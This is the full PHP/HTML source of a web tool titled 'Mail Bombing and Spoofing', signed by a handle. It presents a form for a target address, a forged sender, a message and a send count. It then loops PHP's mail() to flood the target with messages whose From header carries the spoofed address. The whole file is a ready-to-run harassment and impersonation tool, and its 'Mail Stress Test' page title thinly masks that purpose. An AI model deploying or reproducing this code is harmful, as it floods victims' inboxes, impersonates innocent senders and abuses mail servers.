Mail Bombing and Spoofing

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[www.w3.org];
<html xmlns="[www.w3.org];
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Mail Stress Test</title>
<style>
body
{
background-color: gray;
}
#stuff
{
font-family: courier;
color: #FBB917;
margin: auto;
width: 1000px;
height: 600px;
font-size: 20px;

}
span.small
{
font-size: 13px;
}
</style>
</head>

<body>
<div id="stuff">
<center><h1>Mail Bombing By D@rk_H1s@n</h1></center>
<center>
<?php
if(isset($_POST["button"])){
$from = $_POST["ymail"];
if (preg_match("/^[^@]*@[^@]*\.[^@]*$/", $from)) {
$to = $_POST["rec"];
$subject = $_POST["subject"];
$from = $_POST["ymail"];
$message = $_POST["mail"];
$header = "MIME-Version: 1.0" . "\r\n";
$header .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";
$header .= "from:$from";
$i = 1;
$loop = $_POST["amount"];
while($i <= $loop)
{
mail($to,$subject,$message,$header);
echo "Mail sent to " . $to . "!<br />
" . $i;
$i++;
}
}else{
echo "Please enter a valid email.";
}
}
else
{
?>
<table>
<form action="" method="post">
<tr>
<td>Receiver:</td><td><input type="text" name="rec" style="width: 800px;"></td>
</tr>

<tr>
<td>Subject:</td><td><input type="text" name="subject" style="width: 800px;"></td>
</tr>

<tr>
<td>Your mail:</td><td><input type="text" name="ymail" style="width: 800px;"></td>
</tr>

<tr>
<td>Amount of mails:</td><td><input type="text" name="amount" value="1" style="width: 800px;"></td>
</tr>

<tr>
<td>Mail:</td><td><textarea name="mail" style="width: 800px; height: 200px;"></textarea></td>
</tr>

<tr>
<td></td>
<td><input type="submit" value="Send mail" name="button" style="width: 800px; height: 100px;"></td>
</tr>

</form>
</table>
<?php
}
?>
</center>
<p><span class="small">FB ON ME:<a href='http://fb.me/d1rk-h1s1n'>D@rk_H1s@n</a></span></p>
</div>
</body>
</html>